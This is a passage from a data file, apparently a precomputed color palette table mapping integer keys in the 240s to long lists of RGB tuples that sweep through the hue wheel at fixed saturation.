204, 101), (163, 204, 101), (160, 204, 101), (158, 204, 101), (155, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (145, 204, 101), (142, 204, 101), (140, 204, 101), (137, 204, 101), (135, 204, 101), (132, 204, 101), (130, 204, 101), (127, 204, 101), (124, 204, 101), (122, 204, 101), (119, 204, 101), (117, 204, 101), (114, 204, 101), (112, 204, 101), (109, 204, 101), (107, 204, 101), (104, 204, 101), (102, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 109), (101, 204, 112), (101, 204, 114), (101, 204, 117), (101, 204, 119), (101, 204, 122), (101, 204, 124), (101, 204, 127), (101, 204, 130), (101, 204, 132), (101, 204, 135), (101, 204, 137), (101, 204, 140), (101, 204, 142), (101, 204, 145), (101, 204, 147), (101, 204, 150), (101, 204, 153), (101, 204, 155), (101, 204, 158), (101, 204, 160), (101, 204, 163), (101, 204, 165), (101, 204, 168), (101, 204, 170), (101, 204, 173), (101, 204, 175), (101, 204, 178), (101, 204, 181), (101, 204, 183), (101, 204, 186), (101, 204, 188), (101, 204, 191), (101, 204, 193), (101, 204, 196), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 196, 204), (101, 193, 204), (101, 191, 204), (101, 188, 204), (101, 186, 204), (101, 183, 204), (101, 181, 204), (101, 178, 204), (101, 175, 204), (101, 173, 204), (101, 170, 204), (101, 168, 204), (101, 165, 204), (101, 163, 204), (101, 160, 204), (101, 158, 204), (101, 155, 204), (101, 152, 204), (101, 150, 204), (101, 147, 204), (101, 145, 204), (101, 142, 204), (101, 140, 204), (101, 137, 204), (101, 135, 204), (101, 132, 204), (101, 130, 204), (101, 127, 204), (101, 124, 204), (101, 122, 204), (101, 119, 204), (101, 117, 204), (101, 114, 204), (101, 112, 204), (101, 109, 204), (101, 107, 204), (101, 104, 204), (101, 102, 204), (104, 101, 204), (107, 101, 204), (109, 101, 204), (112, 101, 204), (114, 101, 204), (117, 101, 204), (119, 101, 204), (122, 101, 204), (124, 101, 204), (127, 101, 204), (130, 101, 204), (132, 101, 204), (135, 101, 204), (137, 101, 204), (140, 101, 204), (142, 101, 204), (145, 101, 204), (147, 101, 204), (150, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (160, 101, 204), (163, 101, 204), (165, 101, 204), (168, 101, 204), (170, 101, 204), (173, 101, 204), (175, 101, 204), (178, 101, 204), (181, 101, 204), (183, 101, 204), (186, 101, 204), (188, 101, 204), (191, 101, 204), (193, 101, 204), (196, 101, 204), (198, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 201), (204, 101, 198), (204, 101, 196), (204, 101, 193), (204, 101, 191), (204, 101, 188), (204, 101, 186), (204, 101, 183), (204, 101, 181), (204, 101, 178), (204, 101, 175), (204, 101, 173), (204, 101, 170), (204, 101, 168), (204, 101, 165), (204, 101, 163), (204, 101, 160), (204, 101, 158), (204, 101, 155), (204, 101, 153), (204, 101, 150), (204, 101, 147), (204, 101, 145), (204, 101, 142), (204, 101, 140), (204, 101, 137), (204, 101, 135), (204, 101, 132), (204, 101, 130), (204, 101, 127), (204, 101, 124), (204, 101, 122), (204, 101, 119), (204, 101, 117), (204, 101, 114), (204, 101, 112), (204, 101, 109), (204, 101, 107), (204, 101, 104)], 241: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 109, 101), (204, 112, 101), (204, 114, 101), (204, 117, 101), (204, 119, 101), (204, 122, 101), (204, 124, 101), (204, 127, 101), (204, 129, 101), (204, 132, 101), (204, 135, 101), (204, 137, 101), (204, 140, 101), (204, 142, 101), (204, 145, 101), (204, 147, 101), (204, 150, 101), (204, 152, 101), (204, 155, 101), (204, 157, 101), (204, 160, 101), (204, 162, 101), (204, 165, 101), (204, 168, 101), (204, 170, 101), (204, 173, 101), (204, 175, 101), (204, 178, 101), (204, 180, 101), (204, 183, 101), (204, 185, 101), (204, 188, 101), (204, 190, 101), (204, 193, 101), (204, 195, 101), (204, 198, 101), (204, 201, 101), (204, 203, 101), (201, 204, 101), (199, 204, 101), (196, 204, 101), (194, 204, 101), (191, 204, 101), (189, 204, 101), (186, 204, 101), (184, 204, 101), (181, 204, 101), (179, 204, 101), (176, 204, 101), (173, 204, 101), (171, 204, 101), (168, 204, 101), (166, 204, 101), (163, 204, 101), (161, 204, 101), (158, 204, 101), (156, 204, 101), (153, 204, 101), (151, 204, 101), (148, 204, 101), (146, 204, 101), (143, 204, 101), (140, 204, 101), (138, 204, 101), (135, 204, 101), (133, 204, 101), (130, 204, 101), (128, 204, 101), (125, 204, 101), (123, 204, 101), (120, 204, 101), (118, 204, 101), (115, 204, 101), (113, 204, 101), (110, 204, 101), (107, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 108), (101, 204, 111), (101, 204, 113), (101, 204, 116), (101, 204, 118), (101, 204, 121), (101, 204, 124), (101, 204, 126), (101, 204, 129), (101, 204, 131), (101, 204, 134), (101, 204, 136), (101, 204, 139), (101, 204, 141), (101, 204, 144), (101, 204, 146), (101, 204, 149), (101, 204, 151), (101, 204, 154), (101, 204, 157), (101, 204, 159), (101, 204, 162), (101, 204, 164), (101, 204, 167), (101, 204, 169), (101, 204, 172), (101, 204, 174), (101, 204, 177), (101, 204, 179), (101, 204, 182), (101, 204, 184), (101, 204, 187), (101, 204, 190), (101, 204, 192), (101, 204, 195), (101, 204, 197), (101, 204, 200), (101, 204, 202), (101, 202, 204), (101, 200, 204), (101, 197, 204), (101, 195, 204), (101, 192, 204), (101, 190, 204), (101, 187, 204), (101, 184, 204), (101, 182, 204), (101, 179, 204), (101, 177, 204), (101, 174, 204), (101, 172, 204), (101, 169, 204), (101, 167, 204), (101, 164, 204), (101, 162, 204), (101, 159, 204), (101, 157, 204), (101, 154, 204), (101, 151, 204), (101, 149, 204), (101, 146, 204), (101, 144, 204), (101, 141, 204), (101, 139, 204), (101, 136, 204), (101, 134, 204), (101, 131, 204), (101, 129, 204), (101, 126, 204), (101, 124, 204), (101, 121, 204), (101, 118, 204), (101, 116, 204), (101, 113, 204), (101, 111, 204), (101, 108, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (107, 101, 204), (110, 101, 204), (113, 101, 204), (115, 101, 204), (118, 101, 204), (120, 101, 204), (123, 101, 204), (125, 101, 204), (128, 101, 204), (130, 101, 204), (133, 101, 204), (135, 101, 204), (138, 101, 204), (140, 101, 204), (143, 101, 204), (146, 101, 204), (148, 101, 204), (151, 101, 204), (153, 101, 204), (156, 101, 204), (158, 101, 204), (161, 101, 204), (163, 101, 204), (166, 101, 204), (168, 101, 204), (171, 101, 204), (173, 101, 204), (176, 101, 204), (179, 101, 204), (181, 101, 204), (184, 101, 204), (186, 101, 204), (189, 101, 204), (191, 101, 204), (194, 101, 204), (196, 101, 204), (199, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 201), (204, 101, 198), (204, 101, 195), (204, 101, 193), (204, 101, 190), (204, 101, 188), (204, 101, 185), (204, 101, 183), (204, 101, 180), (204, 101, 178), (204, 101, 175), (204, 101, 173), (204, 101, 170), (204, 101, 168), (204, 101, 165), (204, 101, 162), (204, 101, 160), (204, 101, 157), (204, 101, 155), (204, 101, 152), (204, 101, 150), (204, 101, 147), (204, 101, 145), (204, 101, 142), (204, 101, 140), (204, 101, 137), (204, 101, 135), (204, 101, 132), (204, 101, 129), (204, 101, 127), (204, 101, 124), (204, 101, 122), (204, 101, 119), (204, 101, 117), (204, 101, 114), (204, 101, 112), (204, 101, 109), (204, 101, 107), (204, 101, 104)], 242: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 109, 101), (204, 112, 101), (204, 114, 101), (204, 117, 101), (204, 119, 101), (204, 122, 101), (204, 124, 101), (204, 127, 101), (204, 129, 101), (204, 132, 101), (204, 134, 101), (204, 137, 101), (204, 139, 101), (204, 142, 101), (204, 144, 101), (204, 147, 101), (204, 150, 101), (204, 152, 101), (204, 155, 101), (204, 157, 101), (204, 160, 101), (204, 162, 101), (204, 165, 101), (204, 167, 101), (204, 170, 101), (204, 172, 101), (204, 175, 101), (204, 177, 101), (204, 180, 101), (204, 182, 101), (204, 185, 101), (204, 187, 101), (204, 190, 101), (204, 193, 101), (204, 195, 101), (204, 198, 101), (204, 200, 101), (204, 203, 101), (202, 204, 101), (199, 204, 101), (197, 204, 101), (194, 204, 101), (192, 204, 101), (189, 204, 101), (187, 204, 101), (184, 204, 101), (182, 204, 101), (179, 204, 101), (177, 204, 101), (174, 204, 101), (171, 204, 101), (169, 204, 101), (166, 204, 101), (164, 204, 101), (161, 204, 101), (159, 204, 101), (156, 204, 101), (154, 204, 101), (151, 204, 101), (149, 204, 101), (146, 204, 101), (144, 204, 101), (141, 204, 101), (139, 204, 101), (136, 204, 101), (134, 204, 101), (131, 204, 101), (128, 204, 101), (126, 204, 101), (123, 204, 101), (121, 204, 101), (118, 204, 101), (116, 204, 101), (113, 204, 101), (111, 204, 101), (108, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 107), (101, 204, 110), (101, 204, 112), (101, 204, 115), (101, 204, 118), (101, 204, 120), (101, 204, 123), (101, 204, 125), (101, 204, 128), (101, 204, 130), (101, 204, 133), (101, 204, 135), (101, 204, 138), (101, 204, 140), (101, 204, 143), (101, 204, 145), (101, 204, 148), (101, 204, 150), (101, 204, 153), (101, 204, 155), (101, 204, 158), (101, 204, 161), (101, 204, 163), (101, 204, 166), (101, 204, 168), (101, 204, 171), (101, 204, 173), (101, 204, 176), (101, 204, 178), (101, 204, 181), (101, 204, 183), (101, 204, 186), (101, 204, 188), (101, 204, 191), (101, 204, 193), (101, 204, 196), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 196, 204), (101, 193, 204), (101, 191, 204), (101, 188, 204), (101, 186, 204), (101, 183, 204), (101, 181, 204), (101, 178, 204), (101, 176, 204), (101, 173, 204), (101, 171, 204), (101, 168, 204), (101, 166, 204), (101, 163, 204), (101, 161, 204), (101, 158, 204), (101, 155, 204), (101, 153, 204), (101, 150, 204), (101, 148, 204), (101, 145, 204), (101, 143, 204), (101, 140, 204), (101, 138, 204), (101, 135, 204), (101, 133, 204), (101, 130, 204), (101, 128, 204), (101, 125, 204), (101, 123, 204), (101, 120, 204), (101, 118, 204), (101, 115, 204), (101, 112, 204), (101, 110, 204), (101, 107, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (108, 101, 204), (111, 101, 204), (113, 101, 204), (116, 101, 204), (118, 101, 204), (121, 101, 204), (123, 101, 204), (126, 101, 204), (128, 101, 204), (131, 101, 204), (134, 101, 204), (136, 101, 204), (139, 101, 204), (141, 101, 204), (144, 101, 204), (146, 101, 204), (149, 101, 204), (151, 101, 204), (154, 101, 204), (156, 101, 204), (159, 101, 204), (161, 101, 204), (164, 101, 204), (166, 101, 204), (169, 101, 204), (171, 101, 204), (174, 101, 204), (177, 101, 204), (179, 101, 204), (182, 101, 204), (184, 101, 204), (187, 101, 204), (189, 101, 204), (192, 101, 204), (194, 101, 204), (197, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 198), (204, 101, 195), (204, 101, 193), (204, 101, 190), (204, 101, 187), (204, 101, 185), (204, 101, 182), (204, 101, 180), (204, 101, 177), (204, 101, 175), (204, 101, 172), (204, 101, 170), (204, 101, 167), (204, 101, 165), (204, 101, 162), (204, 101, 160), (204, 101, 157), (204, 101, 155), (204, 101, 152), (204, 101, 150), (204, 101, 147), (204, 101, 144), (204, 101, 142), (204, 101, 139), (204, 101, 137), (204, 101, 134), (204, 101, 132), (204, 101, 129), (204, 101, 127), (204, 101, 124), (204, 101, 122), (204, 101, 119), (204, 101, 117), (204, 101, 114), (204, 101, 112), (204, 101, 109), (204, 101, 107), (204, 101, 104)], 243: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 109, 101), (204, 112, 101), (204, 114, 101), (204, 117, 101), (204, 119, 101), (204, 122, 101), (204, 124, 101), (204, 127, 101), (204, 129, 101), (204, 132, 101), (204, 134, 101), (204, 137, 101), (204, 139, 101), (204, 142, 101), (204, 144, 101), (204, 147, 101), (204, 149, 101), (204, 152, 101), (204, 154, 101), (204, 157, 101), (204, 159, 101), (204, 162, 101), (204, 164, 101), (204, 167, 101), (204, 170, 101), (204, 172, 101), (204, 175, 101), (204, 177, 101), (204, 180, 101), (204, 182, 101), (204, 185, 101), (204, 187, 101), (204, 190, 101), (204, 192, 101), (204, 195, 101), (204, 197, 101), (204, 200, 101), (204, 202, 101), (202, 204, 101), (200, 204, 101), (197, 204, 101), (195, 204, 101), (192, 204, 101), (190, 204, 101), (187, 204, 101), (185, 204, 101), (182, 204, 101), (180, 204, 101), (177, 204, 101), (175, 204, 101), (172, 204, 101), (169, 204, 101), (167, 204, 101), (164, 204, 101), (162, 204, 101), (159, 204, 101), (157, 204, 101), (154, 204, 101), (152, 204, 101), (149, 204, 101), (147, 204, 101), (144, 204, 101), (142, 204, 101), (139, 204, 101), (137, 204, 101), (134, 204, 101), (132, 204, 101), (129, 204, 101), (127, 204, 101), (124, 204, 101), (122, 204, 101), (119, 204, 101), (117, 204, 101), (114, 204, 101), (112, 204, 101), (109, 204, 101), (107, 204, 101), (104, 204, 101), (101, 204, 102), (101, 204, 104), (101, 204, 107), (101, 204, 109), (101, 204, 112), (101, 204, 114), (101, 204, 117), (101, 204, 119), (101, 204, 122), (101, 204, 124), (101, 204, 127), (101, 204, 129), (101, 204, 132), (101, 204, 134), (101, 204, 137), (101, 204, 139), (101, 204, 142), (101, 204, 144), (101, 204, 147), (101, 204, 149), (101, 204, 152), (101, 204, 154), (101, 204, 157), (101, 204, 159), (101, 204, 162), (101, 204, 164), (101, 204, 167), (101, 204, 170), (101, 204, 172), (101, 204, 175), (101, 204, 177), (101, 204, 180), (101, 204, 182), (101, 204, 185), (101, 204, 187), (101, 204, 190), (101, 204, 192), (101, 204, 195), (101, 204, 197), (101, 204, 200), (101, 204, 202), (101, 202, 204), (101, 200, 204), (101, 197, 204), (101, 195, 204), (101, 192, 204), (101, 190, 204), (101, 187, 204), (101, 185, 204), (101, 182, 204), (101, 180, 204), (101, 177, 204), (101, 175, 204), (101, 172, 204), (101, 169, 204), (101, 167, 204), (101, 164, 204), (101, 162, 204), (101, 159, 204), (101, 157, 204), (101, 154, 204), (101, 152, 204), (101, 149, 204), (101, 147, 204), (101, 144, 204), (101, 142, 204), (101, 139, 204), (101, 137, 204), (101, 134, 204), (101, 132, 204), (101, 129, 204), (101, 127, 204), (101, 124, 204), (101, 122, 204), (101, 119, 204), (101, 117, 204), (101, 114, 204), (101, 112, 204), (101, 109, 204), (101, 107, 204), (101, 104, 204), (101, 101, 204), (104, 101, 204), (107, 101, 204), (109, 101, 204), (112, 101, 204), (114, 101, 204), (117, 101, 204), (119, 101, 204), (122, 101, 204), (124, 101, 204), (127, 101, 204), (129, 101, 204), (132, 101, 204), (134, 101, 204), (137, 101, 204), (139, 101, 204), (142, 101, 204), (144, 101, 204), (147, 101, 204), (149, 101, 204), (152, 101, 204), (154, 101, 204), (157, 101, 204), (159, 101, 204), (162, 101, 204), (164, 101, 204), (167, 101, 204), (169, 101, 204), (172, 101, 204), (175, 101, 204), (177, 101, 204), (180, 101, 204), (182, 101, 204), (185, 101, 204), (187, 101, 204), (190, 101, 204), (192, 101, 204), (195, 101, 204), (197, 101, 204), (200, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 200), (204, 101, 197), (204, 101, 195), (204, 101, 192), (204, 101, 190), (204, 101, 187), (204, 101, 185), (204, 101, 182), (204, 101, 180), (204, 101, 177), (204, 101, 175), (204, 101, 172), (204, 101, 169), (204, 101, 167), (204, 101, 164), (204, 101, 162), (204, 101, 159), (204, 101, 157), (204, 101, 154), (204, 101, 152), (204, 101, 149), (204, 101, 147), (204, 101, 144), (204, 101, 142), (204, 101, 139), (204, 101, 137), (204, 101, 134), (204, 101, 132), (204, 101, 129), (204, 101, 127), (204, 101, 124), (204, 101, 122), (204, 101, 119), (204, 101, 117), (204, 101, 114), (204, 101, 112), (204, 101, 109), (204, 101, 107), (204, 101, 104)], 244: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 109, 101), (204, 112, 101), (204, 114, 101), (204, 117, 101), (204, 119, 101), (204, 122, 101), (204, 124, 101), (204, 127, 101), (204, 129, 101), (204, 132, 101), (204, 134, 101), (204, 137, 101), (204, 139, 101), (204, 142, 101), (204, 144, 101), (204, 147, 101), (204, 149, 101), (204, 152, 101), (204, 154, 101), (204, 157, 101), (204, 159, 101), (204, 162, 101), (204, 164, 101), (204, 167, 101), (204, 169, 101), (204, 172, 101), (204, 174, 101), (204, 177, 101), (204, 179, 101), (204, 182, 101), (204, 184, 101), (204, 187, 101), (204, 189, 101), (204, 192, 101), (204, 194, 101), (204, 197, 101), (204, 199, 101), (204, 202, 101), (203, 204, 101), (200, 204, 101), (198, 204, 101), (195, 204, 101), (193, 204, 101), (190, 204, 101), (188, 204, 101), (185, 204, 101), (183, 204, 101), (180, 204, 101), (178, 204, 101), (175, 204, 101), (173, 204, 101), (170, 204, 101), (168, 204, 101), (165, 204, 101), (163, 204, 101), (160, 204, 101), (158, 204, 101), (155, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (145, 204, 101), (142, 204, 101), (140, 204, 101), (137, 204, 101), (135, 204, 101), (132, 204, 101), (130, 204, 101), (127, 204, 101), (125, 204, 101), (122, 204, 101), (120, 204, 101), (117, 204, 101), (115, 204, 101), (112, 204, 101), (110, 204, 101), (107, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 108), (101, 204, 111), (101, 204, 113), (101, 204, 116), (101, 204, 118), (101, 204, 121), (101, 204, 123), (101, 204, 126), (101, 204, 128), (101, 204, 131), (101, 204, 133), (101, 204, 136), (101, 204, 138), (101, 204, 141), (101, 204, 143), (101, 204, 146), (101, 204, 148), (101, 204, 151), (101, 204, 153), (101, 204, 156), (101, 204, 158), (101, 204, 161), (101, 204, 163), (101, 204, 166), (101, 204, 168), (101, 204, 171), (101, 204, 173), (101, 204, 176), (101, 204, 178), (101, 204, 181), (101, 204, 183), (101, 204, 186), (101, 204, 188), (101, 204, 191), (101, 204, 193), (101, 204, 196), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 196, 204), (101, 193, 204), (101, 191, 204), (101, 188, 204), (101, 186, 204), (101, 183, 204), (101, 181, 204), (101, 178, 204), (101, 176, 204), (101, 173, 204), (101, 171, 204), (101, 168, 204), (101, 166, 204), (101, 163, 204), (101, 161, 204), (101, 158, 204), (101, 156, 204), (101, 153, 204), (101, 151, 204), (101, 148, 204), (101, 146, 204), (101, 143, 204), (101, 141, 204), (101, 138, 204), (101, 136, 204), (101, 133, 204), (101, 131, 204), (101, 128, 204), (101, 126, 204), (101, 123, 204), (101, 121, 204), (101, 118, 204), (101, 116, 204), (101, 113, 204), (101, 111, 204), (101, 108, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (107, 101, 204), (110, 101, 204), (112, 101, 204), (115, 101, 204), (117, 101, 204), (120, 101, 204), (122, 101, 204), (125, 101, 204), (127, 101, 204), (130, 101, 204), (132, 101, 204), (135, 101, 204), (137, 101, 204), (140, 101, 204), (142, 101, 204), (145, 101, 204), (147, 101, 204), (150, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (160, 101, 204), (163, 101, 204), (165, 101, 204), (168, 101, 204), (170, 101, 204), (173, 101, 204), (175, 101, 204), (178, 101, 204), (180, 101, 204), (183, 101, 204), (185, 101, 204), (188, 101, 204), (190, 101, 204), (193, 101, 204), (195, 101, 204), (198, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 197), (204, 101, 194), (204, 101, 192), (204, 101, 189), (204, 101, 187), (204, 101, 184), (204, 101, 182), (204, 101, 179), (204, 101, 177), (204, 101, 174), (204, 101, 172), (204, 101, 169), (204, 101, 167), (204, 101, 164), (204, 101, 162), (204, 101, 159), (204, 101, 157), (204, 101, 154), (204, 101, 152), (204, 101, 149), (204, 101, 147), (204, 101, 144), (204, 101, 142), (204, 101, 139), (204, 101, 137), (204, 101, 134), (204, 101, 132), (204, 101, 129), (204, 101, 127), (204, 101, 124), (204, 101, 122), (204, 101, 119), (204, 101, 117), (204, 101, 114), (204, 101, 112), (204, 101, 109), (204, 101, 107), (204, 101, 104)], 245: [(204, 101, 101), (204, 104, 101), (204, 106, 101), (204, 109, 101), (204, 111, 101), (204, 114, 101), (204, 116, 101), (204, 119, 101), (204, 121, 101), (204, 124, 101), (204, 126, 101), (204, 129, 101), (204, 131, 101), (204, 134, 101), (204, 136, 101), (204, 139, 101), (204, 141, 101), (204, 144, 101), (204, 146, 101), (204, 149, 101), (204, 151, 101), (204, 154, 101), (204, 156, 101), (204, 159, 101), (204, 161, 101), (204, 164, 101), (204, 166, 101), (204, 169, 101), (204, 171, 101), (204, 174, 101), (204, 176, 101), (204, 179, 101), (204, 181, 101), (204, 184, 101), (204, 186, 101), (204, 189, 101), (204, 191, 101), (204, 194, 101), (204, 196, 101), (204, 199, 101), (204, 201, 101), (203, 204, 101), (201, 204, 101), (198, 204, 101), (196, 204, 101), (193, 204, 101), (191, 204, 101), (188, 204, 101), (186, 204, 101), (183, 204, 101), (181, 204, 101), (178, 204, 101), (176, 204, 101), (173, 204, 101), (171, 204, 101), (168, 204, 101), (166, 204, 101), (163, 204, 101), (161, 204, 101), (158, 204, 101), (156, 204, 101), (153, 204, 101), (151, 204, 101), (148, 204, 101), (146, 204, 101), (143, 204, 101), (141, 204, 101), (138, 204, 101), (136, 204, 101), (133, 204, 101), (131, 204, 101), (128, 204, 101), (126, 204, 101), (123, 204, 101), (121, 204, 101), (118, 204, 101), (116, 204, 101), (113, 204, 101), (111, 204, 101), (108, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 107), (101, 204, 110), (101, 204, 112), (101, 204, 115), (101, 204, 117), (101, 204, 120), (101, 204, 122), (101, 204, 125), (101, 204, 127), (101, 204, 130), (101, 204, 132), (101, 204, 135), (101, 204, 137), (101, 204, 140), (101, 204, 142), (101, 204, 145), (101, 204, 147), (101, 204, 150), (101, 204, 152), (101, 204, 155), (101, 204, 157), (101, 204, 160), (101, 204, 162), (101, 204, 165), (101, 204, 167), (101, 204, 170), (101, 204, 172), (101, 204, 175), (101, 204, 177), (101, 204, 180), (101, 204, 182), (101, 204, 185), (101, 204, 187), (101, 204, 190), (101, 204, 192), (101, 204, 195), (101, 204, 197), (101, 204, 200), (101, 204, 202), (101, 202, 204), (101, 200, 204), (101, 197, 204), (101, 195, 204), (101, 192, 204), (101, 190, 204), (101, 187, 204), (101, 185, 204), (101, 182, 204), (101, 180, 204), (101, 177, 204), (101, 175, 204), (101, 172, 204), (101, 170, 204), (101, 167, 204), (101, 165, 204), (101, 162, 204), (101, 160, 204), (101, 157, 204), (101, 155, 204), (101, 152, 204), (101, 150, 204), (101, 147, 204), (101, 145, 204), (101, 142, 204), (101, 140, 204), (101, 137, 204), (101, 135, 204), (101, 132, 204), (101, 130, 204), (101, 127, 204), (101, 125, 204), (101, 122, 204), (101, 120, 204), (101, 117, 204), (101, 115, 204), (101, 112, 204), (101, 110, 204), (101, 107, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (108, 101, 204), (111, 101, 204), (113, 101, 204), (116, 101, 204), (118, 101, 204), (121, 101, 204), (123, 101, 204), (126, 101, 204), (128, 101, 204), (131, 101, 204), (133, 101, 204), (136, 101, 204), (138, 101, 204), (141, 101, 204), (143, 101, 204), (146, 101, 204), (148, 101, 204), (151, 101, 204), (153, 101, 204), (156, 101, 204), (158, 101, 204), (161, 101, 204), (163, 101, 204), (166, 101, 204), (168, 101, 204), (171, 101, 204), (173, 101, 204), (176, 101, 204), (178, 101, 204), (181, 101, 204), (183, 101, 204), (186, 101, 204), (188, 101, 204), (191, 101, 204), (193, 101, 204), (196, 101, 204), (198, 101, 204), (201, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 199), (204, 101, 196), (204, 101, 194), (204, 101, 191), (204, 101, 189), (204, 101, 186), (204, 101, 184), (204, 101, 181), (204, 101, 179), (204, 101, 176), (204, 101, 174), (204, 101, 171), (204, 101, 169), (204, 101, 166), (204, 101, 164), (204, 101, 161), (204, 101, 159), (204, 101, 156), (204, 101, 154), (204, 101, 151), (204, 101, 149), (204, 101, 146), (204, 101, 144), (204, 101, 141), (204, 101, 139), (204, 101, 136), (204, 101, 134), (204, 101, 131), (204, 101, 129), (204, 101, 126), (204, 101, 124), (204, 101, 121), (204, 101, 119), (204, 101, 116), (204, 101, 114), (204, 101, 111), (204, 101, 109), (204, 101, 106), (204, 101, 104)], 246: [(204, 101, 101), (204, 104, 101), (204, 106, 101), (204, 109, 101), (204, 111, 101), (204, 114, 101), (204, 116, 101), (204, 119, 101), (204, 121, 101), (204, 124, 101), (204, 126, 101), (204, 129, 101), (204, 131, 101), (204, 134, 101), (204, 136, 101), (204, 139, 101), (204, 141, 101), (204, 144, 101), (204, 146, 101), (204, 149, 101), (204, 151, 101), (204, 154, 101), (204, 156, 101), (204, 159, 101), (204, 161, 101), (204, 164, 101), (204, 166, 101), (204, 169, 101), (204, 171, 101), (204, 174, 101), (204, 176, 101), (204, 179, 101), (204, 181, 101), (204, 184, 101), (204, 186, 101), (204, 189, 101), (204, 191, 101), (204, 194, 101), (204, 196, 101), (204, 199, 101), (204, 201, 101), (204, 204, 101), (201, 204, 101), (199, 204, 101), (196, 204, 101), (194, 204, 101), (191, 204, 101), (189, 204, 101), (186, 204, 101), (184, 204, 101), (181, 204, 101), (179, 204, 101), (176, 204, 101), (174, 204, 101), (171, 204, 101), (169, 204, 101), (166, 204, 101), (164, 204, 101), (161, 204, 101), (159, 204, 101), (156, 204, 101), (154, 204, 101), (151, 204, 101), (149, 204, 101), (146, 204, 101), (144, 204, 101), (141, 204, 101), (139, 204, 101), (136, 204, 101), (134, 204, 101), (131, 204, 101), (129, 204, 101), (126, 204, 101), (124, 204, 101), (121, 204, 101), (119, 204, 101), (116, 204, 101), (114, 204, 101), (111, 204, 101), (109, 204, 101), (106, 204, 101), (104, 204, 101), (101, 204, 102), (101, 204, 104), (101, 204, 106), (101, 204, 109), (101, 204, 111), (101, 204, 114), (101, 204, 116), (101, 204, 119), (101, 204, 121), (101, 204, 124), (101, 204, 126), (101, 204, 129), (101, 204, 131), (101, 204, 134), (101, 204, 136), (101, 204, 139), (101, 204, 141), (101, 204, 144), (101, 204, 146), (101, 204, 149), (101, 204, 151), (101, 204, 154), (101, 204, 156), (101, 204, 159), (101, 204, 161), (101, 204, 164), (101, 204, 166), (101, 204, 169), (101, 204, 171), (101, 204, 174), (101, 204, 176), (101, 204, 179), (101, 204, 181), (101, 204, 184), (101, 204, 186), (101, 204, 189), (101, 204, 191), (101, 204, 194), (101, 204, 196), (101, 204, 199), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 199, 204), (101, 196, 204), (101, 194, 204), (101, 191, 204), (101, 189, 204), (101, 186, 204), (101, 184, 204), (101, 181, 204), (101, 179, 204), (101, 176, 204), (101, 174, 204), (101, 171, 204), (101, 169, 204), (101, 166, 204), (101, 164, 204), (101, 161, 204), (101, 159, 204), (101, 156, 204), (101, 154, 204), (101, 151, 204), (101, 149, 204), (101, 146, 204), (101, 144, 204), (101, 141, 204), (101, 139, 204), (101, 136, 204), (101, 134, 204), (101, 131, 204), (101, 129, 204), (101, 126, 204), (101, 124, 204), (101, 121, 204), (101, 119, 204), (101, 116, 204), (101, 114, 204), (101, 111, 204), (101, 109, 204), (101, 106, 204), (101, 104, 204), (101, 101, 204), (104, 101, 204), (106, 101, 204), (109, 101, 204), (111, 101, 204), (114, 101, 204), (116, 101, 204), (119, 101, 204), (121, 101, 204), (124, 101, 204), (126, 101, 204), (129, 101, 204), (131, 101, 204), (134, 101, 204), (136, 101, 204), (139, 101, 204), (141, 101, 204), (144, 101, 204), (146, 101, 204), (149, 101, 204), (151, 101, 204), (154, 101, 204), (156, 101, 204), (159, 101, 204), (161, 101, 204), (164, 101, 204), (166, 101, 204), (169, 101, 204), (171, 101, 204), (174, 101, 204), (176, 101, 204), (179, 101, 204), (181, 101, 204), (184, 101, 204), (186, 101, 204), (189, 101, 204), (191, 101, 204), (194, 101, 204), (196, 101, 204), (199, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 201), (204, 101, 199), (204, 101, 196), (204, 101, 194), (204, 101, 191), (204, 101, 189), (204, 101, 186), (204, 101, 184), (204, 101, 181), (204, 101, 179), (204, 101, 176), (204, 101, 174), (204, 101, 171), (204, 101, 169), (204, 101, 166), (204, 101, 164), (204, 101, 161), (204, 101, 159), (204, 101, 156), (204, 101, 154), (204, 101, 151), (204, 101, 149), (204, 101, 146), (204, 101, 144), (204, 101, 141), (204, 101, 139), (204, 101, 136), (204, 101, 134), (204, 101, 131), (204, 101, 129), (204, 101, 126), (204, 101, 124), (204, 101, 121), (204, 101, 119), (204, 101, 116), (204, 101, 114), (204, 101, 111), (204, 101, 109), (204, 101, 106), (204, 101, 104)], 247: [(204, 101, 101), (204, 104, 101), (204, 106, 101), (204, 109, 101), (204, 111, 101), (204, 114, 101), (204, 116, 101), (204, 119, 101), (204, 121, 101), (204, 124, 101), (204, 126, 101), (204, 129, 101), (204, 131, 101), (204, 134, 101), (204, 136, 101), (204, 139, 101), (204, 141, 101), 